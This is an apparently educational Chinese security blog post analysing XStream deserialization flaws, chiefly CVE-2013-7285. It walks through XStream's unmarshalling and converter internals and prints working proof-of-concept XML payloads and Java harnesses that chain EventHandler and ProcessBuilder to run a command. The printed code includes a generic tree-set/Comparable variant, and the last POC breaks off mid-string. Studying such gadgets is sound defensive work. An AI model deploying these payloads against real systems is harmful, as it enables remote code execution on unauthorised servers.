freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

XStream反序列化漏洞合集
2024-10-31 17:22:55
所属地 广东省

XStream是一个能将Java对象和XML相互转换的Java库。(脑海浮现spring 加载xml

pom.xml:

<dependency>
    <groupId>com.thoughtworks.xstream</groupId>
    <artifactId>xstream</artifactId>
    <version>1.4.6</version>
</dependency>

toXML序列化

XStream在序列化对象时,对 没有实现Serializable的类 和 实现了Serializable的类并重写了readObject方法的类 的处理不同。通常我们都认为这个不同只会发生在反序列化过程中

假如有Person类:

public class Person {
    private String name;
    private int age;

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

测试类,使用xStream.toXML序列化对象为XML格式

import com.thoughtworks.xstream.XStream;

public class XstreamTest1 {
    public static void main(String[] args) {
        Person person = new Person("lucy", 22);
        XStream xStream = new XStream();
        String xml = xStream.toXML(person);
        System.out.print(xml);
    }
}

结果如下:

<yourpackage.Person>
  <name>lucy</name>
  <age>22</age>
</yourpackage.Person>

image-20241029163916052

如果Person实现了Serializable接口并重写了readObject,那么相同的序列化处理结果如下:

<yourpackage.Person serialization="custom">
  <yourpackage.Person>
    <default>
      <name>lucy</name>
      <age>22</age>
    </default>
  </yourpackage.Person>
</yourpackage.Person>

image-20241029164547358

fromXML反序列化

反序列化就不用说了,会自动调用readObject

public class fromXML {
    public static void main(String[] args) throws Exception{
        String xml = "<org.exploit.othercase.XStream.Person serialization=\"custom\">\n" +
                "  <org.exploit.othercase.XStream.Person>\n" +
                "    <default>\n" +
                "      <age>22</age>\n" +
                "      <name>lucy</name>\n" +
                "    </default>\n" +
                "  </org.exploit.othercase.XStream.Person>\n" +
                "</org.exploit.othercase.XStream.Person>";
        XStream xStream = new XStream();
        Person person = (Person) xStream.fromXML(xml);
        System.out.println(person);
    }
}

image-20241029164632174

调试分析

在fromXML打上断点

fromXML调用了unmarshal

image-20241029182521214

unmarshal内部调用了ReferenceByXPathMarshallingStrategy.unmarshal

image-20241029182620704

ReferenceByXPathMarshallingStrategy内部并没有unmarshal方法,转而调用其抽象类的unmarshal

image-20241029182837650

AbstractTreeMarshallingStrategy.unmarshal调用了createUnmarshallingContext

image-20241029182933729

接着跟,调用了ReferenceByXPathUnmarshaller构造函数

image-20241029183124829

就是个套娃赋值了,跳过跳过

跟到AbstractTreeMarshallingStrategy.unmarshal内的context.start

image-20241029183547247

在start方法内,通过HierarchicalStream.readClassType读取节点类型,接着调用convertAnother进行转换

image-20241029184112273

HierarchicalStream.readClassType读取的结果:

image-20241029185019906

跟进到convertAnother,先是用DefualtConverterLookup.lookupConverterForType去根据类型查找converter,再调用这个converter的convert方法

image-20241029185447284

image-20241029185754633

发现这个DefaultConverterLookup里装配了一堆converter,在哪装进去的呢?

向上逆向,发现XStream的一个构造函数内new DefaultConverterLookup

image-20241029223139109

DefaultConverterLookup类给静态变量赋值为了PrioritizedList

image-20241029223523188

XStream调用到最后的构造函数,会调用setupConverters

image-20241029224304492

setupConverters方法就根据了不同的反序列化type选择了不同的Converter


继承了Serializable并重写了readObject调用到的converter是SerializableConverter

image-20241029224612324

image-20241029224939884

如果 不实现Serializable接口 或者 只实现Serializable不重写readObject,那么converter是ReflectionConverter

image-20241029225043696

XStream的漏洞官网:

https://x-stream.github.io/security.html

converter文件

我们随便打开一个converter文件,其中就三个主要的方法:

  • canConvert方法:告诉XStream对象,它能够转换的对象;

  • marshal方法:能够将对象转换为XML时候的具体操作;

  • unmarshal方法:能够将XML转换为对象时的具体操作;

CVE-2013-7285

XStream version <= 1.4.6 & XStream version = 1.4.10

漏洞点位于EventHandler.invokeInternal:

image-20241031111943717

MethodUtil.invoke实际上就是Method.invoke加了异常处理,可以达到执行任意方法

EventHandler.invoke调用了invokeInternal

image-20241031112059056

EventHandler又实现了InvocationHandler接口,属于动态代理类

image-20241031112141247

接下来看看invoke三个参数怎么来的

image-20241031112647537

先看下EventHandler的构造函数,共设置了target、action、eventPropertyName、listenerMethodName

invokeInternal的主要代码如下:

int lastDot = action.lastIndexOf('.');
if (lastDot != -1) {
    target = applyGetters(target, action.substring(0, lastDot));
    action = action.substring(lastDot + 1);
}
Method targetMethod = Statement.getMethod(target.getClass(),action, argTypes);
return MethodUtil.invoke(targetMethod, target, newArgs);

假设action字符串为 "user.address.city", target 是一个包含 user 属性的对象

那么经过if代码块后,target 现在是 Address 对象,action 现在是 "city"

那么经过Statement.getMethod后,获取了Address对象的city方法

简单说来就是最后一个.前面的是类,后面是方法

但是我们完全可以将action只传一个方法名,不含.,所以此处可省略,看不懂也没关系,接着往下看就知道了

现在再来看XStream提供的动态代理标签

DynamicProxyConverter

XStream给出了各个converter对应的xml格式

https://x-stream.github.io/converters.html

其中DynamicProxyConverter适用于动态代理:

image-20241031115841506

code:

<dynamic-proxy>
  <interface>com.foo.Blah</interface>
  <interface>com.foo.Woo</interface>
  <handler class="com.foo.MyHandler">
    <something>blah</something>
  </handler>
</dynamic-proxy>

对照Proxy.newProxyInstance的参数来看

image-20241031120232582

interface标签代表了代理的接口,handler标签代表InvocationHandler实例,something标签是传递给handler的额外配置信息

POC XML:

<dynamic-proxy>
	<interface>java.util.Map</interface>
	<handler class="java.beans.EventHandler">
		<target class="java.lang.ProcessBuilder">
            <command>
                <string>calc</string>
            </command>
    	</target>
		<action>start</action>
	</handler>
</dynamic-proxy>

POC:

public class EventHandler {
    public static void main(String[] args) throws Exception{
        String payload = "<dynamic-proxy>\n" +
                "    <interface>java.util.Map</interface>\n" +
                "    <handler class=\"java.beans.EventHandler\">\n" +
                "        <target class=\"java.lang.ProcessBuilder\">\n" +
                "            <command>\n" +
                "        \t\t\t\t<string>calc</string>\n" +
                "            </command>\n" +
                "        </target>\n" +
                "        <action>start</action>\n" +
                "    </handler>\n" +
                "</dynamic-proxy>";
        XStream xStream = new XStream();
        Map map = (Map) xStream.fromXML(payload);
        map.size();
    }
}

代理一下Map接口做测试,利用了ProcesserBuilder.start

实际利用的时候需要改下代理接口为代码后续调用到的接口

那有没有办法搞个更通用的呢?

通用POC

  • 别忘了dynamic-proxy标签外还可以嵌套标签,等于嵌套了一个converter

这里找到了TreeSetConverter:

调用了TreeMapConverter.populateTreeMap

image-20241031150015740

populateTreeMap内部,如果该标签已经在第一个元素内(没有子节点),则调用putCurrentEntryIntoMap,否则调用populateMap

image-20241031150744928

populateMap循环判断有无子节点,然后调用putCurrentEntryIntoMap

image-20241031150937413

也就是从内到外解析标签,调用putCurrentEntryIntoMap

putCurrentEntryIntoMap分别对key和value调用了readItem,这是因为Set可以存放Entry

Map 用于存储键值对,键必须唯一,值可以重复。
Set 用于存储唯一的键值对,不允许重复

image-20241031151029373

readItem内部又嵌套的根据Type查找converter并处理

image-20241031151114510

你一看官方给的xml示例,肯定就理解了上面的内容:

  • tree-map:

<tree-map>
  <comparator class="com.blah.MyComparator"/>
  <entry>
    <string>apple</string>
    <float>123.553</float>
  </entry>
  <entry>
    <string>orange</string>
    <float>55.4</float>
  </entry>
</tree-map>
  • tree-set:Entry可以先只放key

<tree-set>
  <comparator class="com.blah.MyComparator"/>
  <string>apple</string>
  <string>banana</string>
  <string>cabbage</string>
</tree-set>

关键在于,populateMap解析完整个tree-map内的键值对后,调用了result.putAll

image-20241031151902279

Tree.putAll的参数map是Proxy,肯定不会是SortedMap子类,进不去if,看到super.putAll

image-20241031154835188

接着调用put,这里调用的应该是TreeMap重写的put

image-20241031155250205

put内调用了compare

image-20241031155347539

用了Comparable接口的compareTo

image-20241031155413191

这里k1如果是EventHandler,那EventHandler代理Comparable接口,不就能顺利触发到invoke了嘛

POC XML:

<tree-set>
	<dynamic-proxy>
        <interface>java.lang.Comparable</interface>
        <handler class="java.beans.EventHandler">
            <target class="java.lang.ProcessBuilder">
                <command>
                    <string>calc</string>
                </command>
            </target>
            <action>start</action>
        </handler>
    </dynamic-proxy>
</tree-set>

POC:

public class EventHandler {
    public static void main(String[] args) throws Exception{
        String payload = "<tree-set>\n" +
                "\t<dynamic-proxy>\n" +
                "        <interface>java.lang.Comparable</interface>\n" +
                "        <handler class=\"java.beans.EventHandler\">\n" +
                "            <target class=\"java.lang.ProcessBuilder\">\n" +
                "                <command>\n" +
                "                    <string>calc</string>\n" +
                "                </command>\n" +
                "            </target>\n" +
                "   
# XSTREAM # Java反序列化漏洞分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录